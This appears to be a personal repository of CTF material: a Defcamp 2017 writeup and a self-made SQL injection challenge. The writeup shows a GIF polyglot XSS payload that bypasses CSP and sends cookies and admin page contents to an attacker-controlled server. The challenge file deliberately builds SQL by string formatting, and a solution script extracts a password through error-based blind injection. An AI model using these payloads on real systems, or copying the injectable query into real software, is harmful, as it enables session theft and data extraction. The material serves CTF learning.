├── Defcamp Quals 2017
└── DCTF LLC
│ └── writeup.md
├── README.md
└── SQLi-Challenge
├── challenge.py
├── readme.md
└── solution.py
/Defcamp Quals 2017/DCTF LLC/writeup.md:
--------------------------------------------------------------------------------
1 | ## Title:
2 | Defcamp Quals 2017 CTF DCTF LLC writeup
3 |
4 | ## Description:
5 | We are looking for your feedback about our new amazing company! :-)
6 |
7 | ## Writeup:
8 | I was the first to solve this challenge and we got bonus points for this. When we visit the website we see a form asking for name, email, message and file.
9 | The first thing I tried is to upload a php file to get a shell, but that didn't work. Looking at the response header we see:
10 | ```
11 | content-security-policy:default-src 'none'; img-src 'self' *.imgur.com *.ibb.co; script-src 'self'; connect-src 'self'; style-src 'self' fonts.googleapis.com fonts.gstatic.com 'unsafe-inline'; font-src 'self' fonts.gstatic.com fonts.googleapis.com;
12 | ```
13 | Noticing `script-src 'self'`, I immediately realized that this is XSS and we have to bypass CSP by uploading our JS through a valid image with size less than 500 bytes and the image seems to by validated with `getimagesize()`.
14 |
15 | The best way to get a valid image with an XSS payload is through GIF images so here is what I tried:
16 | ```javascript
17 | GIF89a/*
18 | ? , /*
19 | ;*/=1;document.location='https://myserver/log.php?x='+encodeURIComponent(document.cookie+document.getElementsByTagName('html')[0].innerHTML+document.cookie);
20 | ```
21 | Now we include the image through a script tag in the message field: `` and here is what I got in the logs file:
22 | ```
23 | IP: 45.76.95.55 - September 30, 2017, 12:41 pm
24 | REFERRER: https://llc.dctf-quals-17.def.camp//bot.php?id=258
25 | Array
26 | (
27 | [x] =>
28 |
29 |
30 |
31 |
32 |
33 | Dashboard
34 | Message Sent. Here's the preview:
35 |
36 | Name: test@test
37 | Email: test@test
38 | Message: test
39 | )
40 | ```
41 |
42 | We didn't get the flag, so it's probably in the `admin.php` file, all we have to do is to get its contents through an ajax request (jquery already loaded).
43 | ```javascript
44 | GIF89a/*
45 | ? , /*
46 | ;*/=1;$.ajax('/admin.php').done(function(data){location='https://myserver/log.php?x='+encodeURIComponent(data);});
47 | ```
48 | and we got the flag: `DCTF{808f50ca3f3182a30e76bb9fcc0fdcb7f75f4ce597f7abe1793e3942acf3ec9e}`
49 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **Will be posting writeups for interesting CTF challenges I solved.**
2 |
--------------------------------------------------------------------------------
/SQLi-Challenge/challenge.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from http.server import HTTPServer, BaseHTTPRequestHandler
3 | from socketserver import ThreadingMixIn
4 | import threading
5 | import time
6 | import mysql.connector
7 | import urllib.parse
8 |
9 | conn = mysql.connector.connect(user='ctf', password = '', host = 'localhost', port = '3306', database = 'ctf')
10 | cursor = conn.cursor()
11 |
12 | class Handler(BaseHTTPRequestHandler):
13 | def setup(self):
14 | self.timeout=10 # Timeout connections after 10 seconds
15 | BaseHTTPRequestHandler.setup(self)
16 | def do_GET(self):
17 | try:
18 | self.send_response(200)
19 | self.send_header("Content-Type", "Text/HTML")
20 | self.end_headers()
21 |
22 | if "user" in self.path:
23 | i_slash = self.path.index('/')
24 | val = self.path[(i_slash + 6):]
25 | sql_query(urllib.parse.unquote(val))
26 | time.sleep(1000) # Never Respond
27 | else:
28 | self.wfile.write(b' Welcome to my SQLi challenge
This is a simple SQL Injection challenge based on a SQLi vulnerability that I\'ve found while doing bug bounty.
To access the challenge: Click Here
You have to extract the user\'s password from the database. DBMS is mysql
PS: The delayed server response is part of the challenge
DM me with the flag @Zombiehelp54')
29 | except:
30 | print("Exception")
31 | def log_message(self, format, *args):
32 | return
33 |
34 | def sql_query(val):
35 | val = val.replace(';', '')
36 | cursor.execute("select name from user where id = %s" % val)
37 | cursor.fetchall()
38 |
39 | class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
40 | pass
41 |
42 | def run():
43 | server = ThreadingSimpleServer(('127.0.0.1', 8900), Handler)
44 | server.serve_forever()
45 |
46 | if __name__ == '__main__':
47 | run()
48 |
--------------------------------------------------------------------------------
/SQLi-Challenge/readme.md:
--------------------------------------------------------------------------------
1 | SQLi Challenge source code.
2 |
3 | The idea is that there is a heavy query being executed in the backend which causes the MySQL server response to be delayed.
4 | And the server is configured to timeout connections after 10 seconds (50 seconds originally), so there is no way to distinguish
5 | between a subquery that returns true and another that returns false other than causing the mysql server to throw a runtime error.
6 |
7 | ## Solvers:
8 | 1. @the_st0rm (Ibrahim Mosaad)
9 | 2. @ret2got (Jazzy)
10 | 3. @terjanq (terjanq)
11 | 4. @junorouse (Juno Im)
12 | 5. @5unKn0wn (5unKn0wn)
13 | 6. @securityidiots (Faraz Khan)
14 | 7. @0x4148 (Ahmed Sultan)
15 | 8. @pentest_soka (soka)
16 | 9. @JosipFranjkovic (Josip Franjkovic)
17 | 10. @m_aty (Mohamed Abdel aty)
18 | 11. @lnxg33k (Ahmed Shawky)
19 | 12. @AmiriusTheThird (Amir Saad)
20 | 13. @Fady_Othman (Fady Othman)
21 |
22 | Thanks to everyone who participated.
23 |
24 | I will publish a detailed writeup regarding the original bug and other solutions soon on my blog: http://mahmoudsec.blogspot.com/
25 |
--------------------------------------------------------------------------------
/SQLi-Challenge/solution.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import sys
3 |
4 | # query=sys.argv[1]
5 | query = "select pass from user limit 1"
6 | res = ''
7 | url = "http://:8900/user/"
8 | charset="._-:@abcdefghijklmnopqrstuvwxyz"
9 | restart = True
10 | while restart:
11 | restart = False
12 | for char in charset:
13 | if char == "_":
14 | char = '\\\\_'
15 | print char
16 | q = "1 and (select(CASE WHEN (("+str(query)+") like '"+str(res)+str(char)+"%25') THEN (exp(10)) ELSE exp(1000) END))"
17 | try:
18 | r=requests.get(url+str(q), timeout=3)
19 | except requests.exceptions.ConnectionError as e:
20 | res+=char
21 | print "found", res
22 | restart = True
23 | break
24 | print "Result:", res
25 |
26 | # Flag: timeanderrorbasedsqliflag
27 |
--------------------------------------------------------------------------------